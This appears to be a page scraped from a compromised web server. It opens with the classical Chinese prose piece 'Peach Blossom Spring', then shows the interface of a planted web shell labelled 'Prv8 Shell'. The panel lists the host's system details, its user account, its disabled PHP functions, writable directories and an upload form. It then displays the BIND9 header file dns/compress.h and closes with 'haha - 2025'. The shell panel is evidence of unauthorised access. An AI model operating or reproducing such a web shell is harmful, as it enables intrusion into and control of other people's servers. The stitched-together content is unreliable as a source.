晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/include/bind9/dns/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/include/bind9/dns/compress.h
/*
 * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 *
 * This Source Code Form is subject to the terms of the Mozilla Public
 * License, v. 2.0. If a copy of the MPL was not distributed with this
 * file, you can obtain one at https://mozilla.org/MPL/2.0/.
 *
 * See the COPYRIGHT file distributed with this work for additional
 * information regarding copyright ownership.
 */

#ifndef DNS_COMPRESS_H
#define DNS_COMPRESS_H 1

#include <inttypes.h>
#include <stdbool.h>

#include <isc/lang.h>
#include <isc/region.h>

#include <dns/types.h>

ISC_LANG_BEGINDECLS

/*! \file dns/compress.h
 * Direct manipulation of the structures is strongly discouraged.
 *
 * A name compression context handles compression of multiple DNS names
 * in relation to a single DNS message. The context can be used to
 * selectively turn on/off compression for specific names (depending on
 * the RR type) by using \c dns_compress_setmethods(). Alternately,
 * compression can be disabled completely using \c
 * dns_compress_disable().
 *
 * \c dns_compress_setmethods() is intended for use by RDATA towire()
 * implementations, whereas \c dns_compress_disable() is intended to be
 * used by a nameserver's configuration manager.
 */

#define DNS_COMPRESS_NONE		0x00	/*%< no compression */
#define DNS_COMPRESS_GLOBAL14		0x01	/*%< "normal" compression. */
#define DNS_COMPRESS_ALL		0x01	/*%< all compression. */
#define DNS_COMPRESS_CASESENSITIVE	0x02	/*%< case sensitive compression. */
#define DNS_COMPRESS_ENABLED		0x04

#define DNS_COMPRESS_READY		0x80000000

#define DNS_COMPRESS_TABLESIZE 64
#define DNS_COMPRESS_INITIALNODES 16

typedef struct dns_compressnode dns_compressnode_t;

struct dns_compressnode {
	isc_region_t		r;
	uint16_t		offset;
	uint16_t		count;
	uint8_t			labels;
	dns_compressnode_t	*next;
};

struct dns_compress {
	unsigned int		magic;		/*%< Magic number. */
	unsigned int		allowed;	/*%< Allowed methods. */
	int			edns;		/*%< Edns version or -1. */
	/*% Global compression table. */
	dns_compressnode_t	*table[DNS_COMPRESS_TABLESIZE];
	/*% Preallocated nodes for the table. */
	dns_compressnode_t	initialnodes[DNS_COMPRESS_INITIALNODES];
	uint16_t		count;		/*%< Number of nodes. */
	isc_mem_t		*mctx;		/*%< Memory context. */
};

typedef enum {
	DNS_DECOMPRESS_ANY,			/*%< Any compression */
	DNS_DECOMPRESS_STRICT,			/*%< Allowed compression */
	DNS_DECOMPRESS_NONE			/*%< No compression */
} dns_decompresstype_t;

struct dns_decompress {
	unsigned int		magic;		/*%< Magic number. */
	unsigned int		allowed;	/*%< Allowed methods. */
	int			edns;		/*%< Edns version or -1. */
	dns_decompresstype_t	type;		/*%< Strict checking */
};

isc_result_t
dns_compress_init(dns_compress_t *cctx, int edns, isc_mem_t *mctx);
/*%<
 *	Initialise the compression context structure pointed to by
 *	'cctx'. A freshly initialized context has name compression
 *	enabled, but no methods are set. Please use \c
 *	dns_compress_setmethods() to set a compression method.
 *
 *	Requires:
 *	\li	'cctx' is a valid dns_compress_t structure.
 *	\li	'mctx' is an initialized memory context.
 *	Ensures:
 *	\li	cctx->global is initialized.
 *
 *	Returns:
 *	\li	#ISC_R_SUCCESS
 */

void
dns_compress_invalidate(dns_compress_t *cctx);

/*%<
 *	Invalidate the compression structure pointed to by cctx.
 *
 *	Requires:
 *\li		'cctx' to be initialized.
 */

void
dns_compress_setmethods(dns_compress_t *cctx, unsigned int allowed);

/*%<
 *	Sets allowed compression methods.
 *
 *	Requires:
 *\li		'cctx' to be initialized.
 */

unsigned int
dns_compress_getmethods(dns_compress_t *cctx);

/*%<
 *	Gets allowed compression methods.
 *
 *	Requires:
 *\li		'cctx' to be initialized.
 *
 *	Returns:
 *\li		allowed compression bitmap.
 */

void
dns_compress_disable(dns_compress_t *cctx);
/*%<
 *	Disables all name compression in the context. Once disabled,
 *	name compression cannot currently be re-enabled.
 *
 *	Requires:
 *\li		'cctx' to be initialized.
 *
 */

void
dns_compress_setsensitive(dns_compress_t *cctx, bool sensitive);

/*
 *	Preserve the case of compressed domain names.
 *
 *	Requires:
 *		'cctx' to be initialized.
 */

bool
dns_compress_getsensitive(dns_compress_t *cctx);
/*
 *	Return whether case is to be preserved when compressing
 *	domain names.
 *
 *	Requires:
 *		'cctx' to be initialized.
 */

int
dns_compress_getedns(dns_compress_t *cctx);

/*%<
 *	Gets edns value.
 *
 *	Requires:
 *\li		'cctx' to be initialized.
 *
 *	Returns:
 *\li		-1 .. 255
 */

bool
dns_compress_findglobal(dns_compress_t *cctx, const dns_name_t *name,
			dns_name_t *prefix, uint16_t *offset);
/*%<
 *	Finds longest possible match of 'name' in the global compression table.
 *
 *	Requires:
 *\li		'cctx' to be initialized.
 *\li		'name' to be a absolute name.
 *\li		'prefix' to be initialized.
 *\li		'offset' to point to an uint16_t.
 *
 *	Ensures:
 *\li		'prefix' and 'offset' are valid if true is 	returned.
 *
 *	Returns:
 *\li		#true / #false
 */

void
dns_compress_add(dns_compress_t *cctx, const dns_name_t *name,
		 const dns_name_t *prefix, uint16_t offset);
/*%<
 *	Add compression pointers for 'name' to the compression table,
 *	not replacing existing pointers.
 *
 *	Requires:
 *\li		'cctx' initialized
 *
 *\li		'name' must be initialized and absolute, and must remain
 *		valid until the message compression is complete.
 *
 *\li		'prefix' must be a prefix returned by
 *		dns_compress_findglobal(), or the same as 'name'.
 */

void
dns_compress_rollback(dns_compress_t *cctx, uint16_t offset);

/*%<
 *	Remove any compression pointers from global table >= offset.
 *
 *	Requires:
 *\li		'cctx' is initialized.
 */

void
dns_decompress_init(dns_decompress_t *dctx, int edns,
		    dns_decompresstype_t type);

/*%<
 *	Initializes 'dctx'.
 *	Records 'edns' and 'type' into the structure.
 *
 *	Requires:
 *\li		'dctx' to be a valid pointer.
 */

void
dns_decompress_invalidate(dns_decompress_t *dctx);

/*%<
 *	Invalidates 'dctx'.
 *
 *	Requires:
 *\li		'dctx' to be initialized
 */

void
dns_decompress_setmethods(dns_decompress_t *dctx, unsigned int allowed);

/*%<
 *	Sets 'dctx->allowed' to 'allowed'.
 *
 *	Requires:
 *\li		'dctx' to be initialized
 */

unsigned int
dns_decompress_getmethods(dns_decompress_t *dctx);

/*%<
 *	Returns 'dctx->allowed'
 *
 *	Requires:
 *\li		'dctx' to be initialized
 */

int
dns_decompress_edns(dns_decompress_t *dctx);

/*%<
 *	Returns 'dctx->edns'
 *
 *	Requires:
 *\li		'dctx' to be initialized
 */

dns_decompresstype_t
dns_decompress_type(dns_decompress_t *dctx);

/*%<
 *	Returns 'dctx->type'
 *
 *	Requires:
 *\li		'dctx' to be initialized
 */

ISC_LANG_ENDDECLS

#endif /* DNS_COMPRESS_H */

haha - 2025